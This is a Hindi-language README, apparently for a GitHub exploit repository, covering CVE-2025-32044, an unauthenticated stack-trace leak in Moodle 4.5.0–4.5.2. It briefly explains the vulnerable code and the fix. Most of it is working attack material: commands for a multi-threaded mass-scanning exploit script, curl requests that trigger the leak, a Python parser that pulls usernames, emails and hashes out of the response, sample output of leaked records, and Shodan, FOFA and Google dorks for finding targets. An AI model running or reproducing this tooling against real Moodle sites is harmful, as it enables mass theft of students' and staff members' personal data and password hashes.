
Moodle 4.5.0-4.5.2 अप्रमाणित REST API उपयोगकर्ता डेटा एक्सपोज़र via Stack Trace Args Leak | CVSS 7.5
CVE-2025-32044 उच्च-गंभीरता (CVSS 7.5) वाली एक बिना प्रमाणीकरण के सूचना प्रकटीकरण भेद्यता है जो Moodle LMS 4.5.0 से 4.5.2 में पाई जाती है।
यह भेद्यता Moodle के REST API अपवाद हैंडलर में स्थित है — exception_response::get_payload_data() lib/classes/router/response/exception_response.php में। सुधार से पहले, PHP स्टैक ट्रेस में फ़ंक्शन आर्गुमेंट्स शामिल होते थे जो API त्रुटि प्रतिक्रियाओं में भेजे जाते थे। ये आर्गुमेंट्स कॉल स्टैक के माध्यम से पारित संवेदनशील उपयोगकर्ता डेटा — जैसे उपयोगकर्ता नाम, पूरा नाम, ईमेल पते, और पासवर्ड हैश — शामिल करते हैं।
लीक को ट्रिगर करने के लिए किसी प्रमाणीकरण, टोकन, या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है। हमलावर को केवल किसी REST API एंडपॉइंट पर एक दोषपूर्ण अनुरोध भेजना होता है जो आंतरिक अपवाद का कारण बनता है।
| Moodle संस्करण | स्थिति |
|---|---|
| 4.5.0 – 4.5.2 | असुरक्षित |
| 4.5.3+ | पैच किया गया |
| < 4.5.0 | प्रभावित नहीं |
zend.exception_ignore_args = On वाले सभी संस्करण | प्रभावित नहीं |
खोजकर्ता: Lucas Alonso (मार्च 14, 2025)
Moodle Tracker: MDL-84879
सलाह: MSA-25-0011
// lib/classes/router/response/exception_response.php (BEFORE fix)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← includes 'args'!
];
return $data;
}
जब REST API प्रोसेसिंग के दौरान कोई अपवाद होता है, तो PHP स्टैक ट्रेस में कॉल स्टैक के प्रत्येक फ्रेम के लिए फ़ंक्शन आर्गुमेंट्स (args) शामिल होते हैं। ये आर्गुमेंट्स अनजाने में उपयोगकर्ता तालिका डेटा शामिल कर लेते हैं जो कॉल श्रृंखला में उच्च फ़ंक्शनों द्वारा संसाधित किया जा रहा था।
// lib/classes/router/response/exception_response.php (AFTER fix)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
साथ ही lib/setup.php में गहराई-में-रक्षा:
ini_set('zend.exception_ignore_args', '1');
1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args
2. Send malformed request to /webservice/rest/server.php
(e.g., core_user_get_users_by_field with missing required params)
3. Internal exception triggered during user data processing
4. API error response includes stack trace with 'args'
5. Parse args for usernames, emails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Single target scan
python cve_2025_32044.py -t moodle.target.com
# Mass scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Mass scan with more threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Debug mode
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save leaked user data to file
--threads Concurrent workers (default: 30)
--timeout Request timeout in seconds (default: 10)
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
चरण 1 — Moodle और वेब सेवाओं का पता लगाएं
# Check if Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Check web services
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS enabled + maybe guest access
# {"error":"Web services must be enabled..."} = WS disabled
चरण 2 — टोकन प्राप्त करें (यदि संभव हो)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
चरण 3 — अपवाद ट्रिगर करें और लीक कैप्चर करें
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Response will contain stacktrace with args if vulnerable
चरण 4 — लीक किए गए डेटा को पार्स करें
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
सफल शोषण से प्राप्त होता है:
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह सॉफ़्टवेयर सुरक्षा पेशेवरों द्वारा अधिकृत पैठ परीक्षण, संगठनों द्वारा अपने स्वयं के बुनियादी ढांचे के ऑडिट, और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।
लेखक दुरुपयोग के लिए कोई देयता नहीं लेते हैं।
यह प्रोजेक्ट Moodle Pty Ltd से संबद्ध नहीं है।
| फ़ील्ड | स्रोत |
|---|
| उपयोगकर्ता नाम | user तालिका |
| पूरा नाम | firstname + lastname |
| ईमेल | email कॉलम |
| पासवर्ड हैश | bcrypt $2y$ / $2b$ हैश |
| अंतिम लॉगिन आईपी | lastip कॉलम |
| उपयोगकर्ता आईडी | id कॉलम |
| संसाधन | लिंक |
|---|
| Moodle Advisory MSA-25-0011 | moodle.org |
| Moodle Tracker MDL-84879 | tracker.moodle.org |
| Git कमिट (सुधार) | github.com/moodle/moodle/commit/41917db65e6b |
| NVD प्रविष्टि | CVE-2025-32044 |
| खोजकर्ता | Lucas Alonso |